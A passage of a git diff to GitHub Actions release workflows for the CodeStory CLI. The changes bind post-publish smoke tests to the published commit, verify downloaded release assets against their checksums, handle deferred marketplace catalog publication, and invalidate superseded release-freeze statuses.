.github/scripts/install-codestory-marketplace-proof.mjs @@ -127,6 +136,9 @@ on: - scripts/tests/release-evidence-runner-contract.test.mjs - scripts/codex-worktree-setup.* - scripts/tests/codex-worktree-setup.test.mjs + - scripts/prove-plugin-pinned-provision.mjs + - scripts/lib/wait-for-managed-runtime.mjs + - scripts/tests/prove-plugin-pinned-provision.test.mjs - .codex/environments/environment.toml workflow_dispatch: @@ -144,6 +156,11 @@ jobs: timeout-minutes: 10 steps: - uses: actions/checkout@v5 + with: + # The reuse-binding contracts verify tree identity and native + # fingerprints against this repository's real release history, so the + # default depth-1 clone cannot answer them. + fetch-depth: 0 - name: Install workflow policy dependencies run: npm ci --ignore-scripts @@ -154,6 +171,12 @@ jobs: - name: Check embedded model preparation run: node --test scripts/tests/prepare-embedded-model.test.mjs + # plugin-release.yml gates the `v*` tag on prove-plugin-pinned-provision.mjs, so its + # bounded wait and its refusal to run vacuously are checked here on every PR rather + # than discovered on the release lane. + - name: Check the pinned provision proof + run: node --test scripts/tests/prove-plugin-pinned-provision.test.mjs + - name: Check workflow syntax run: | node --test .github/scripts/run-actionlint.test.mjs @@ -171,6 +194,7 @@ jobs: run: | node .github/scripts/check-workflow-policy.mjs node --test .github/scripts/check-workflow-policy.test.mjs + node --test .github/scripts/lost-runner-recovery.test.mjs node --test .github/scripts/cargo-cache-contract.test.mjs - name: Check real Codex marketplace installation diff --git a/.github/workflows/post-publish-release-smoke.yml b/.github/workflows/post-publish-release-smoke.yml index 0667d89dd..2c073a459 100644 --- a/.github/workflows/post-publish-release-smoke.yml +++ b/.github/workflows/post-publish-release-smoke.yml @@ -7,9 +7,14 @@ on: description: Release version to smoke, with or without a leading v. required: true type: string - marketplace_revision: - description: Immutable marketplace catalog revision proved before release. + catalog_published: + description: Whether marketplace-publish actually updated the public catalog for this release. required: true + type: boolean + marketplace_revision: + description: Immutable published catalog revision. Empty exactly when publication was deferred. + required: false + default: "" type: string pre_publish_closeout_artifact: description: Accepted pre-publish closeout artifact from this release run. @@ -27,9 +32,14 @@ on: description: Release version to smoke, with or without a leading v. required: true type: string - marketplace_revision: - description: Immutable marketplace catalog revision proved before release. + catalog_published: + description: Whether marketplace-publish actually updated the public catalog for this release. required: true + type: boolean + marketplace_revision: + description: Immutable published catalog revision. Empty exactly when publication was deferred. + required: false + default: "" type: string pre_publish_closeout_artifact: description: Accepted pre-publish closeout artifact from this release run. @@ -79,9 +89,11 @@ jobs: - name: Normalize release version id: release shell: bash + env: + INPUT_VERSION: ${{ inputs.version }} run: | set -euo pipefail - version="${{ inputs.version }}" + version="$INPUT_VERSION" version="${version#v}" if [ -z "$version" ]; then echo "::error::version input is required" @@ -96,6 +108,32 @@ jobs: ref: ${{ steps.release.outputs.tag }} fetch-depth: 0 + # The tag is a local name until GitHub agrees it is a published one. Every later step pins + # the commit resolved here, so the fixture catalog, the Codex resolve, and the byte + # comparison all name a release GitHub is actually serving -- never merely whatever tree + # this job happens to be standing in. + - name: Bind this smoke to the published release + id: published + shell: bash + env: + GH_TOKEN: ${{ github.token }} + TAG: ${{ steps.release.outputs.tag }} + run: | + set -euo pipefail + draft="$(gh release view "$TAG" --repo "$GITHUB_REPOSITORY" --json isDraft --jq .isDraft)" + if [ "$draft" != "false" ]; then + echo "::error::Published release $TAG is a draft." + exit 1 + fi + published_commit="$(gh api "repos/$GITHUB_REPOSITORY/commits/$TAG" --jq .sha)" + printf '%s' "$published_commit" | grep -Eq '^[0-9a-f]{40}$' + if [ "$published_commit" != "$(git -C "$GITHUB_WORKSPACE" rev-parse HEAD)" ]; then + echo "::error::Checked-out tree is not the commit published at $TAG." + exit 1 + fi + echo "commit=$published_commit" >> "$GITHUB_OUTPUT" + echo "Smoking the release published at $TAG ($published_commit)." >> "$GITHUB_STEP_SUMMARY" + - name: Install pinned Python if: runner.os != 'macOS' uses: actions/setup-python@v7.0.0 @@ -125,8 +163,8 @@ jobs: name: ${{ inputs.pre_publish_closeout_artifact }} path: target/pre-publish-closeout - - name: Download published asset and checksum - id: asset + - name: Authenticate published candidate assets + id: published-assets shell: bash env: GH_TOKEN: ${{ github.token }} @@ -134,43 +172,289 @@ jobs: VERSION: ${{ steps.release.outputs.version }} ASSET_TARGET: ${{ matrix.asset_target }} EXTENSION: ${{ matrix.extension }} + PUBLISHED_COMMIT: ${{ steps.published.outputs.commit }} run: | set -euo pipefail - dir="target/post-publish-release-assets" asset="codestory-cli-v${VERSION}-${ASSET_TARGET}.${EXTENSION}" + checksum="$asset.sha256" + release="$( + gh api "repos/$GITHUB_REPOSITORY/releases/tags/$TAG" + )" + test "$(jq -r .tag_name <<<"$release")" = "$TAG" + test "$(jq -r .draft <<<"$release")" = false + select_asset() { + local name="$1" + jq \ + --arg name "$name" \ + '[.assets[] | select(.name == $name)] + | if length == 1 then .[0] else error("expected one published release asset") end' \ + <<<"$release" + } + archive_asset="$(select_asset "$asset")" + checksum_asset="$(select_asset "$checksum")" + manifest_asset="$(select_asset SHA256SUMS.txt)" + validate_asset() { + local value="$1" + [[ "$(jq -r .id <<<"$value")" =~ ^[0-9]+$ ]] + [[ "$(jq -r .size <<<"$value")" =~ ^[0-9]+$ ]] + [[ "$(jq -r .digest <<<"$value")" =~ ^sha256:[0-9a-f]{64}$ ]] + } + validate_asset "$archive_asset" + validate_asset "$checksum_asset" + validate_asset "$manifest_asset" + record_dir=target/candidate-archive-record/${ASSET_TARGET} + mkdir -p "$record_dir" + record="$record_dir/candidate-archive-record.json" + rm -f "$record" + node .github/scripts/candidate-archive-store.mjs record \ + --repository "$GITHUB_REPOSITORY" \ + --source-sha "$PUBLISHED_COMMIT" \ + --source-tree "$(git rev-parse 'HEAD^{tree}')" \ + --target "$ASSET_TARGET" \ + --archive-name "$asset" \ + --archive-bytes "$(jq -r .size <<<"$archive_asset")" \ + --archive-sha256 "$(jq -r .digest <<<"$archive_asset" | sed 's/^sha256://')" \ + --companion "archive_checksum|$checksum|$(jq -r .size <<<"$checksum_asset")|$(jq -r .digest <<<"$checksum_asset" | sed 's/^sha256://')" \ + --companion "checksum_manifest|SHA256SUMS.txt|$(jq -r .size <<<"$checksum_asset")|$(jq -r .digest <<<"$checksum_asset" | sed 's/^sha256://')" \ + --output "$record" + { + echo "archive-id=$(jq -r .id <<<"$archive_asset")" + echo "archive-bytes=$(jq -r .size <<<"$archive_asset")" + echo "archive-sha256=$(jq -r .digest <<<"$archive_asset" | sed 's/^sha256://')" + echo "checksum-id=$(jq -r .id <<<"$checksum_asset")" + echo "checksum-bytes=$(jq -r .size <<<"$checksum_asset")" + echo "checksum-sha256=$(jq -r .digest <<<"$checksum_asset" | sed 's/^sha256://')" + echo "manifest-id=$(jq -r .id <<<"$manifest_asset")" + echo "manifest-bytes=$(jq -r .size <<<"$manifest_asset")" + echo "manifest-sha256=$(jq -r .digest <<<"$manifest_asset" | sed 's/^sha256://')" + echo "archive-name=$asset" + } >> "$GITHUB_OUTPUT" + + - name: Restore published candidate archive from protected host + id: candidate-cache + shell: bash + env: + ASSET_TARGET: ${{ matrix.asset_target }} + PUBLISHED_COMMIT: ${{ steps.published.outputs.commit }} + run: | + set -euo pipefail + started_ns="$(python -c 'import time; print(time.monotonic_ns())')" + record=target/candidate-archive-record/${ASSET_TARGET}/candidate-archive-record.json + jq -e \ + --arg repository "$GITHUB_REPOSITORY" \ + --arg source_sha "$PUBLISHED_COMMIT" \ + --arg source_tree "$(git rev-parse 'HEAD^{tree}')" \ + --arg target "$ASSET_TARGET" \ + '.repository == $repository + and .source.commit == $source_sha + and .source.tree == $source_tree + and .target == $target' \ + "$record" >/dev/null + store="$RUNNER_TOOL_CACHE/codestory/candidate-archives" + mkdir -p "$store" target + rm -rf target/post-publish-release-assets + restored="$( + node .github/scripts/candidate-archive-store.mjs restore \ + --record "$record" \ + --store-root "$store" \ + --output-root target \ + --output-dir target/post-publish-release-assets + )" + hit="$(jq -r .hit <<<"$restored")" + test "$hit" = true || test "$hit" = false + finished_ns="$(python -c 'import time; print(time.monotonic_ns())')" + elapsed_ms=$(((finished_ns - started_ns) / 1000000)) + echo "hit=$hit" >> "$GITHUB_OUTPUT" + { + echo "### Published candidate archive transfer" + echo + echo "- Protected-host cache lookup and verification: ${elapsed_ms} ms" + echo "- Cache hit: \`$hit\`" + } >> "$GITHUB_STEP_SUMMARY" + + - name: Download, verify, and admit published candidate on miss + if: steps.candidate-cache.outputs.hit != 'true' + shell: bash + env: + GH_TOKEN: ${{ github.token }} + ASSET_TARGET: ${{ matrix.asset_target }} + ARCHIVE_NAME: ${{ steps.published-assets.outputs.archive-name }} + ARCHIVE_ID: ${{ steps.published-assets.outputs.archive-id }} + ARCHIVE_BYTES: ${{ steps.published-assets.outputs.archive-bytes }} + ARCHIVE_SHA256: ${{ steps.published-assets.outputs.archive-sha256 }} + CHECKSUM_ID: ${{ steps.published-assets.outputs.checksum-id }} + CHECKSUM_BYTES: ${{ steps.published-assets.outputs.checksum-bytes }} + CHECKSUM_SHA256: ${{ steps.published-assets.outputs.checksum-sha256 }} + run: | + set -euo pipefail + started_ns="$(python -c 'import time; print(time.monotonic_ns())')" + stage=target/candidate-archive-stage/${ASSET_TARGET} + rm -rf "$stage" + mkdir -p "$stage" + download_asset() { + local id="$1" + local name="$2" + local expected_bytes="$3" + local expected_sha256="$4" + local destination="$stage/$name" + local partial="$destination.partial" + local url="$GITHUB_API_URL/repos/$GITHUB_REPOSITORY/releases/assets/$id" + rm -f "$destination" "$partial" + local complete=false + for attempt in $(seq 1 30); do + if curl \ + --fail \ + --location \ + --silent \ + --show-error \ + --connect-timeout 30 \ + --max-time 120 \ + --continue-at - \ + --header "Accept: application/octet-stream" \ + --header "Authorization: Bearer $GH_TOKEN" \ + --header "X-GitHub-Api-Version: 2022-11-28" \ + --output "$partial" \ + "$url"; then + complete=true + break + fi + current_size="$(python - "$partial" <<'PY' + import os + import sys + print(os.path.getsize(sys.argv[1]) if os.path.isfile(sys.argv[1]) else 0) + PY + )" + test "$current_size" -le "$expected_bytes" + if [ "$current_size" = "$expected_bytes" ]; then + complete=true + break + fi + echo "::warning title=Release asset transfer interrupted::Resuming $name at byte $current_size after attempt $attempt" + sleep 2 + done + test "$complete" = true + actual="$( + python - "$partial" <<'PY' + import hashlib + import os + import sys + path = sys.argv[1] + with open(path, "rb") as source: + print(f"{os.path.getsize(path)} {hashlib.file_digest(source, 'sha256').hexdigest()}") + PY + )" + test "${actual%% *}" = "$expected_bytes" + test "${actual#* }" = "$expected_sha256" + mv "$partial" "$destination" + } + download_asset "$ARCHIVE_ID" "$ARCHIVE_NAME" \ + "$ARCHIVE_BYTES" "$ARCHIVE_SHA256" + download_asset "$CHECKSUM_ID" "$ARCHIVE_NAME.sha256" \ + "$CHECKSUM_BYTES" "$CHECKSUM_SHA256" + transfer_finished_ns="$(python -c 'import time; print(time.monotonic_ns())')" + # package-codestory-release.py defines the candidate-local manifest as + # the same single checksum line. The published global manifest is + # authenticated separately below and never mutates this cache record. + cp "$stage/$ARCHIVE_NAME.sha256" "$stage/SHA256SUMS.txt" + record=target/candidate-archive-record/${ASSET_TARGET}/candidate-archive-record.json + admitted="$( + node .github/scripts/candidate-archive-store.mjs admit \ + --record "$record" \ + --input-root "$stage" \ + --store-root "$RUNNER_TOOL_CACHE/codestory/candidate-archives" \ + --output-root target \ + --output-dir target/post-publish-release-assets + )" + test "$(jq -r .hit <<<"$admitted")" = true || \ + test "$(jq -r .admitted <<<"$admitted")" = true + admission_finished_ns="$(python -c 'import time; print(time.monotonic_ns())')" + transfer_ms=$(((transfer_finished_ns - started_ns) / 1000000)) + verification_ms=$(((admission_finished_ns - transfer_finished_ns) / 1000000)) + { + echo "- Published archive and checksum transfer: ${transfer_ms} ms" + echo "- Payload verification and atomic admission: ${verification_ms} ms" + } >> "$GITHUB_STEP_SUMMARY" + + - name: Download authenticated published checksum manifest + id: published-checksum + shell: bash + env: + GH_TOKEN: ${{ github.token }} + MANIFEST_ID: ${{ steps.published-assets.outputs.manifest-id }} + MANIFEST_BYTES: ${{ steps.published-assets.outputs.manifest-bytes }} + MANIFEST_SHA256: ${{ steps.published-assets.outputs.manifest-sha256 }} + run: | + set -euo pipefail + dir=target/post-publish-release-checksums mkdir -p "$dir" - gh release download "$TAG" \ - --repo "$GITHUB_REPOSITORY" \ - --pattern "$asset" \ - --pattern "SHA256SUMS.txt" \ - --dir "$dir" \ - --clobber - echo "archive=$dir/$asset" >> "$GITHUB_OUTPUT" - echo "checksum=$dir/SHA256SUMS.txt" >> "$GITHUB_OUTPUT" + checksum="$dir/SHA256SUMS.txt" + rm -f "$checksum" + curl \ + --fail \ + --location \ + --silent \ + --show-error \ + --header "Accept: application/octet-stream" \ + --header "Authorization: Bearer $GH_TOKEN" \ + --header "X-GitHub-Api-Version: 2022-11-28" \ + --output "$checksum" \ + "$GITHUB_API_URL/repos/$GITHUB_REPOSITORY/releases/assets/$MANIFEST_ID" + actual="$( + python - "$checksum" <<'PY' + import hashlib + import os + import sys + path = sys.argv[1] + with open(path, "rb") as source: + print(f"{os.path.getsize(path)} {hashlib.file_digest(source, 'sha256').hexdigest()}") + PY + )" + test "${actual%% *}" = "$MANIFEST_BYTES" + test "${actual#* }" = "$MANIFEST_SHA256" + echo "checksum=$checksum" >> "$GITHUB_OUTPUT" + + - name: Bind materialized published asset paths + id: asset + shell: bash + env: + ASSET_NAME: ${{ steps.published-assets.outputs.archive-name }} + PUBLISHED_CHECKSUM: ${{ steps.published-checksum.outputs.checksum }} + run: | + set -euo pipefail + dir=target/post-publish-release-assets + test -f "$dir/$ASSET_NAME" + echo "archive=$dir/$ASSET_NAME" >> "$GITHUB_OUTPUT" + echo "checksum=$PUBLISHED_CHECKSUM" >> "$GITHUB_OUTPUT" - name: Prove packaged version, help, and stdio shape shell: bash + env: + ASSET_ARCHIVE: ${{ steps.asset.outputs.archive }} + ASSET_CHECKSUM: ${{ steps.asset.outputs.checksum }} + RELEASE_VERSION: ${{ steps.release.outputs.version }} run: >- python .github/scripts/check-packaged-agent-proof.py - --archive "${{ steps.asset.outputs.archive }}" - --checksum-file "${{ steps.asset.outputs.checksum }}" - --expected-version "${{ steps.release.outputs.version }}" + --archive "$ASSET_ARCHIVE" + --checksum-file "$ASSET_CHECKSUM" + --expected-version "$RELEASE_VERSION" --version-only --out-dir "target/post-publish-version-proof/${{ matrix.asset_target }}" - name: Prove published macOS signature, notarization, and quarantined execution if: runner.os == 'macOS' shell: bash + env: + ASSET_ARCHIVE: ${{ steps.asset.outputs.archive }} run: | set -euo pipefail proof_dir="target/post-publish-macos-signing/${{ matrix.asset_target }}" unpacked="$proof_dir/unpacked" mkdir -p "$unpacked" quarantine="0083;$(date +%s);CodeStory;" - xattr -w com.apple.quarantine "$quarantine" "${{ steps.asset.outputs.archive }}" - xattr -p com.apple.quarantine "${{ steps.asset.outputs.archive }}" \ + xattr -w com.apple.quarantine "$quarantine" "$ASSET_ARCHIVE" + xattr -p com.apple.quarantine "$ASSET_ARCHIVE" \ > "$proof_dir/archive-quarantine.txt" - tar -xzf "${{ steps.asset.outputs.archive }}" -C "$unpacked" + tar -xzf "$ASSET_ARCHIVE" -C "$unpacked" bins="$(find "$unpacked" -type f -name codestory-cli -print)" count="$(printf '%s\n' "$bins" | sed '/^$/d' | wc -l | tr -d ' ')" if [ "$count" -ne 1 ]; then @@ -210,16 +494,80 @@ jobs: shell: powershell -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command ". '{0}'" run: "& scripts/install-codestory.ps1 -SelfTest" + # Catalog publication is delivery, not a gate, so this smoke must run in both states -- but it + # must never let the deferred state read as the published one. Each state gets its own catalog + # source AND its own installer identity, and the two are decided here, once, from the caller's + # explicit handoff. The handoff is checked both ways: published demands an immutable live + # revision, deferred demands the absence of one. + - name: Record catalog delivery state + id: delivery + shell: bash + env: + CATALOG_PUBLISHED: ${{ inputs.catalog_published }} + INPUT_MARKETPLACE_REVISION: ${{ inputs.marketplace_revision }} + PUBLISHED_COMMIT: ${{ steps.published.outputs.commit }} + run: | + set -euo pipefail + # The commit GitHub reports for the published tag, bound in the previous step. + published_commit="$PUBLISHED_COMMIT" + printf '%s' "$published_commit" | grep -Eq '^[0-9a-f]{40}$' + fixture_root="$RUNNER_TEMP/codestory-marketplace-delivery/fixture" + rm -rf "$fixture_root" + if [ "$CATALOG_PUBLISHED" = "true" ]; then + marketplace_source=TheGreenCedar/AgentPluginMarketplace + marketplace_revision="$INPUT_MARKETPLACE_REVISION" + local_fixture=false + installer=codex_marketplace_install + state=published + elif [ "$CATALOG_PUBLISHED" = "false" ]; then + # The public catalog still points at the previous release, so resolving against it would + # prove the PREVIOUS release. Pin a catalog to this exact published commit instead: same + # resolver, same pinned git-subdir source, only the catalog host differs. + if [ -n "$INPUT_MARKETPLACE_REVISION" ]; then + echo "::error::Deferred catalog publication must not carry a live catalog revision." + exit 1 + fi + node .github/scripts/build-marketplace-fixture.mjs \ + --out "$fixture_root" \ + --source-repository "$GITHUB_WORKSPACE" \ + --commit "$published_commit" + marketplace_source="$fixture_root" + marketplace_revision="$(git -C "$fixture_root" rev-parse HEAD)" + local_fixture=true + installer=codex_marketplace_deferred_fixture + state=deferred + else + echo "::error::catalog_published must be true or false, not '$CATALOG_PUBLISHED'." + exit 1 + fi + printf '%s' "$marketplace_revision" | grep -Eq '^[0-9a-f]{40}$' + { + echo "marketplace_source=$marketplace_source" + echo "marketplace_revision=$marketplace_revision" + echo "local_fixture=$local_fixture" + echo "installer=$installer" + echo "state=$state" + } >> "$GITHUB_OUTPUT" + if [ "$state" = "deferred" ]; then + echo "::warning::Catalog publication was deferred for this release. This smoke proves the published assets against a candidate-pinned catalog fixture and records installer $installer; recover the public catalog with marketplace-sync.yml." + fi + echo "Catalog delivery state: $state (installer $installer, catalog revision $marketplace_revision)." >> "$GITHUB_STEP_SUMMARY" + - name: Resolve the published plugin through the marketplace catalog id: installed shell: bash + env: + MARKETPLACE_REVISION: ${{ steps.delivery.outputs.marketplace_revision }} + MARKETPLACE_SOURCE: ${{ steps.delivery.outputs.marketplace_source }} + LOCAL_FIXTURE: ${{ steps.delivery.outputs.local_fixture }} + RELEASE_VERSION: ${{ steps.release.outputs.version }} run: | set -euo pipefail install_root="$RUNNER_TEMP/codestory-installed-proof" codex_package_root="$RUNNER_TEMP/codex-cli-${CODEX_CLI_VERSION}" isolated_home="$install_root/isolated-home" - marketplace_revision="${{ inputs.marketplace_revision }}" - test "$(printf '%s' "$marketplace_revision" | wc -c | tr -d ' ')" = 40 + marketplace_revision="$MARKETPLACE_REVISION" + printf '%s' "$marketplace_revision" | grep -Eq '^[0-9a-f]{40}$' rm -rf "$install_root" mkdir -p "$isolated_home" npm install \ @@ -231,10 +579,11 @@ jobs: --codex-package-root "$codex_package_root" \ --codex-home "$install_root/codex-home" \ --plugin-data "$install_root/codex-home/plugin-data" \ - --marketplace-source TheGreenCedar/AgentPluginMarketplace \ + --marketplace-source "$MARKETPLACE_SOURCE" \ --marketplace-name TheGreenCedar \ --marketplace-revision "$marketplace_revision" \ - --expected-version "${{ steps.release.outputs.version }}" \ + --local-fixture "$LOCAL_FIXTURE" \ + --expected-version "$RELEASE_VERSION" \ --source-repository "$GITHUB_WORKSPACE" \ --attestation "$install_root/install-attestation-v2.json" \ --github-output "$GITHUB_OUTPUT" @@ -242,24 +591,30 @@ jobs: - name: Prove the catalog-resolved published runtime env: CODESTORY_EMBED_ALLOW_CPU: "0" + ASSET_ARCHIVE: ${{ steps.asset.outputs.archive }} + ASSET_CHECKSUM: ${{ steps.asset.outputs.checksum }} + RELEASE_VERSION: ${{ steps.release.outputs.version }} + INSTALLED_PLUGIN_ROOT: ${{ steps.installed.outputs.plugin_root }} + INSTALLED_ATTESTATION: ${{ steps.installed.outputs.attestation }} + INSTALLED_PLUGIN_DATA: ${{ steps.installed.outputs.plugin_data }} shell: bash run: | set -euo pipefail source_sha="$(git rev-parse HEAD)" source_tree="$(git rev-parse 'HEAD^{tree}')" python .github/scripts/check-packaged-agent-proof.py \ - --archive "${{ steps.asset.outputs.archive }}" \ - --checksum-file "${{ steps.asset.outputs.checksum }}" \ - --expected-version "${{ steps.release.outputs.version }}" \ + --archive "$ASSET_ARCHIVE" \ + --checksum-file "$ASSET_CHECKSUM" \ + --expected-version "$RELEASE_VERSION" \ --project "${{ github.workspace }}" \ - --plugin-root "${{ steps.installed.outputs.plugin_root }}" \ + --plugin-root "$INSTALLED_PLUGIN_ROOT" \ --plugin-handoff \ --engine-policy accelerated \ --expected-backend "${{ matrix.backend }}" \ --proof-tier installed_runtime \ --server-behavior-only \ - --installed-plugin-attestation "${{ steps.installed.outputs.attestation }}" \ - --installed-plugin-data "${{ steps.installed.outputs.plugin_data }}" \ + --installed-plugin-attestation "$INSTALLED_ATTESTATION" \ + --installed-plugin-data "$INSTALLED_PLUGIN_DATA" \ --expected-source-sha "$source_sha" \ --expected-source-tree "$source_tree" \ --timeout-secs 3600 \ @@ -268,15 +623,21 @@ jobs: - name: Emit authenticated post-publish release cells if: inputs.emit_release_cells shell: bash + env: + RELEASE_VERSION: ${{ steps.release.outputs.version }} + ASSET_ARCHIVE: ${{ steps.asset.outputs.archive }} + DELIVERED_INSTALLER: ${{ steps.delivery.outputs.installer }} run: | set -euo pipefail - version="${{ steps.release.outputs.version }}" - archive="${{ steps.asset.outputs.archive }}" + version="$RELEASE_VERSION" + archive="$ASSET_ARCHIVE" ledger="$(find target/pre-publish-closeout -type f -name ledger.json -print)" test "$(printf '%s\n' "$ledger" | sed '/^$/d' | wc -l | tr -d ' ')" = 1 mkdir -p target/release-cells + # The installer identity is whatever the delivery state resolved, never a literal: a + # deferred run must not be able to sign a cell that says the public catalog served it. jq -n \ - --arg installer codex_marketplace_install \ + --arg installer "$DELIVERED_INSTALLER" \ --arg native_engine coderank_q8_embedded \ '{installer: $installer, native_engine: $native_engine}' \ > target/release-cells/installed-identity.json diff --git a/.github/workflows/release-candidate-evidence.yml b/.github/workflows/release-candidate-evidence.yml index e9db9f65d..cda5fe6d6 100644 --- a/.github/workflows/release-candidate-evidence.yml +++ b/.github/workflows/release-candidate-evidence.yml @@ -92,7 +92,7 @@ jobs: CODESTORY_RELEASE_EVIDENCE_CACHE_ID: cold-inprocess-v1 CODESTORY_RELEASE_EVIDENCE_MACHINE_FINGERPRINT: ${{ steps.machine.outputs.fingerprint }} CODESTORY_REAL_REPO_DRILL_CASES: ${{ inputs.drill_manifest }} - CODESTORY_EMBED_ALLOW_CPU: "1" + CODESTORY_EMBED_ALLOW_CPU: "0" run: | set -euo pipefail cargo test --locked -p codestory-cli --test codestory_repo_e2e_stats -- --ignored --nocapture --test-threads=1 \ @@ -108,7 +108,7 @@ jobs: CODESTORY_RELEASE_EVIDENCE_CORPUS_CONTRACT: benchmarks/release-evidence/corpus-contracts/v0.16-axios-js-ts-v2.json CODESTORY_RELEASE_EVIDENCE_CACHE_ID: cold-inprocess-v1 CODESTORY_RELEASE_EVIDENCE_MACHINE_FINGERPRINT: ${{ steps.machine.outputs.fingerprint }} - CODESTORY_EMBED_ALLOW_CPU: "1" + CODESTORY_EMBED_ALLOW_CPU: "0" run: | set -euo pipefail CODESTORY_RELEASE_EVIDENCE_TREE="$(git rev-parse 'HEAD^{tree}')" diff --git a/.github/workflows/release-freeze-invalidation.yml b/.github/workflows/release-freeze-invalidation.yml new file mode 100644 index 000000000..21e4dda82 --- /dev/null +++ b/.github/workflows/release-freeze-invalidation.yml @@ -0,0 +1,78 @@ +name: Release freeze invalidation + +on: + pull_request: + branches: + - dev/codestory-next + types: [synchronize] + push: + branches: + - dev/codestory-next + +permissions: + actions: write + contents: read + statuses: write + +concurrency: + group: release-freeze-invalidation-${{ github.event.pull_request.number || github.ref }} + cancel-in-progress: true + +jobs: + invalidate: + name: Cancel proof for a superseded frozen head + runs-on: ubuntu-latest + timeout-minutes: 5 + steps: + - uses: actions/checkout@v5 + + - name: Invalidate a superseded release freeze + shell: bash + env: + AFTER_SHA: ${{ github.event.after || github.sha }} + BEFORE_SHA: ${{ github.event.before }} + EVENT_NAME: ${{ github.event_name }} + GH_TOKEN: ${{ github.token }} + run: | + set -euo pipefail + printf '%s' "$BEFORE_SHA" | grep -Eq '^[0-9a-f]{40}$' + printf '%s' "$AFTER_SHA" | grep -Eq '^[0-9a-f]{40}$' + test "$BEFORE_SHA" != "$AFTER_SHA" + if [ "$EVENT_NAME" = push ]; then + node .github/scripts/release-freeze-barrier.mjs invalidate-superseded \ + --repository "$GITHUB_REPOSITORY" \ + --commit "$AFTER_SHA" \ + --broad-workflow "Exact-head source proof" \ + --broad-workflow "Platform and integration proof" \ + --broad-workflow "Release" \ + --broad-workflow "Auto Release" + exit 0 + fi + freeze_contexts="$( + gh api "repos/$GITHUB_REPOSITORY/commits/$BEFORE_SHA/statuses?per_page=100" \ + | jq -r \ + '[.[] | select( + .state == "success" + and (.context | startswith("codestory/release-freeze/")) + ) | .context] | unique[]' + )" + if [ -z "$freeze_contexts" ]; then + echo "Previous head $BEFORE_SHA was not a declared release candidate." + exit 0 + fi + while IFS= read -r context; do + gh api \ + --method POST \ + "repos/$GITHUB_REPOSITORY/statuses/$BEFORE_SHA" \ + -f state=error \ + -f "context=$context" \ + -f "description=superseded-by=$AFTER_SHA" \ + -f "target_url=$GITHUB_SERVER_URL/$GITHUB_REPOSITORY/actions/runs/$GITHUB_RUN_ID" + done <<<"$freeze_contexts" + node .github/scripts/release-freeze-barrier.mjs invalidate-superseded \ + --repository "$GITHUB_REPOSITORY" \ + --commit "$AFTER_SHA" \ + --broad-workflow "Exact-head source proof" \ + --broad-workflow "Platform and integration proof" \ + --broad-workflow "Release" \ + --broad-workflow "Auto Release" diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index ee9e6f6c1..43524d429 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -27,15 +27,18 @@ on: description: "Exact dev/codestory-next head to authenticate without publishing" required: true type: string - permissions: - actions: read + actions: write + # accelerator-non-claim reads the job annotation that identifies a lost runner, which the Actions + # annotations endpoint gates on `checks: read`. Without it the collector fails closed and this + # workflow stops rather than mistaking an unreadable signature for an ordinary failure. + checks: read contents: read pull-requests: read concurrency: group: release-${{ inputs.version }} - cancel-in-progress: false + cancel-in-progress: true jobs: workflow-policy: @@ -72,6 +75,7 @@ jobs: run: | node .github/scripts/check-workflow-policy.mjs node --test .github/scripts/check-workflow-policy.test.mjs + node --test .github/scripts/lost-runner-recovery.test.mjs preflight: name: Release preflight @@ -90,6 +94,48 @@ jobs: with: fetch-depth: 0 + - name: Cancel superseded proof runs + shell: bash + env: + GH_TOKEN: ${{ github.token }} + run: | + node .github/scripts/release-freeze-barrier.mjs cancel-superseded \ + --repository "$GITHUB_REPOSITORY" \ + --commit "$GITHUB_SHA" \ + --broad-workflow "Exact-head source proof" \ + --broad-workflow "Platform and integration proof" \ + --broad-workflow "Release" \ + --broad-workflow "Auto Release" + + - name: Verify release-head calibration lineage + id: lineage + env: + BASH_ENV: /dev/null + PUBLISH_RELEASE: ${{ inputs.publish_release }} + shell: /bin/bash --noprofile --norc -e -o pipefail {0} + working-directory: ${{ github.workspace }} + run: | + promotion_args=() + if [ "$PUBLISH_RELEASE" = true ]; then + promotion_args+=(--allow-promotion-commit) + fi + result="$( + /usr/bin/python3 -E -s \ + "$GITHUB_WORKSPACE/.github/scripts/check-calibration-release-lineage.py" \ + --repo "$GITHUB_WORKSPACE" \ + --expected-sha "$GITHUB_SHA" \ + "${promotion_args[@]}" + )" + jq -e '.status == "passed"' <<<"$result" >/dev/null + selection_commit="$(jq -r '.selection_commit' <<<"$result")" + selection_tree="$(jq -r '.selection_tree' <<<"$result")" + printf '%s' "$selection_commit" | grep -Eq '^[0-9a-f]{40}$' + printf '%s' "$selection_tree" | grep -Eq '^[0-9a-f]{40}$' + { + echo "selection_commit=$selection_commit" + echo "selection_tree=$selection_tree" + } >> "$GITHUB_OUTPUT" + - name: Validate release authority env: EXPECTED_HEAD_SHA: ${{ inputs.expected_head_sha }} @@ -169,8 +215,9 @@ jobs: set -euo pipefail entries=() - # The source gate proves a tree. When dev was already gated and promoted without - # changing the tree, re-running it for an hour cannot reach a different answer. + # The one source proof belongs to the frozen candidate. A tree-preserving promotion + # may reuse it, but a calibration-source proof cannot stand in for the generated + # constant-set child. release_tree="$(git rev-parse "$GITHUB_SHA^{tree}")" while IFS= read -r run_id; do head_sha="$(gh api "repos/$GITHUB_REPOSITORY/actions/runs/$run_id" --jq .head_sha)" @@ -178,25 +225,38 @@ jobs: test "$(git rev-parse "$head_sha^{tree}")" = "$release_tree" || continue git merge-base --is-ancestor "$head_sha" "$GITHUB_SHA" || continue gh api "repos/$GITHUB_REPOSITORY/actions/runs/$run_id/jobs?per_page=100" \ - --jq '.jobs[] | select(.name | endswith("full-source-gate")) | select(.conclusion == "success") | .id' \ + --jq '.jobs[] | select(.name == "full-source-gate" and .conclusion == "success") | .id' \ | grep -q . || continue + run_attempt="$( + gh api "repos/$GITHUB_REPOSITORY/actions/runs/$run_id" --jq '.run_attempt' + )" + artifact_name="release-cell-prepublish-source-attempt-$run_attempt" + artifact_count="$( + gh api "repos/$GITHUB_REPOSITORY/actions/runs/$run_id/artifacts?per_page=100" \ + | jq --arg name "$artifact_name" \ + '[.artifacts[] | select(.name == $name and .expired == false)] | length' + )" + test "$artifact_count" = 1 || continue entries+=("source_behavior=$run_id:$head_sha") - echo "Reusing source proof from run $run_id (tree $release_tree)." + echo "Reusing frozen-candidate source proof and $artifact_name from run $run_id (tree $release_tree)." break done < <( gh api --paginate \ "repos/$GITHUB_REPOSITORY/actions/runs?status=completed&per_page=100" \ | jq -r --arg repo 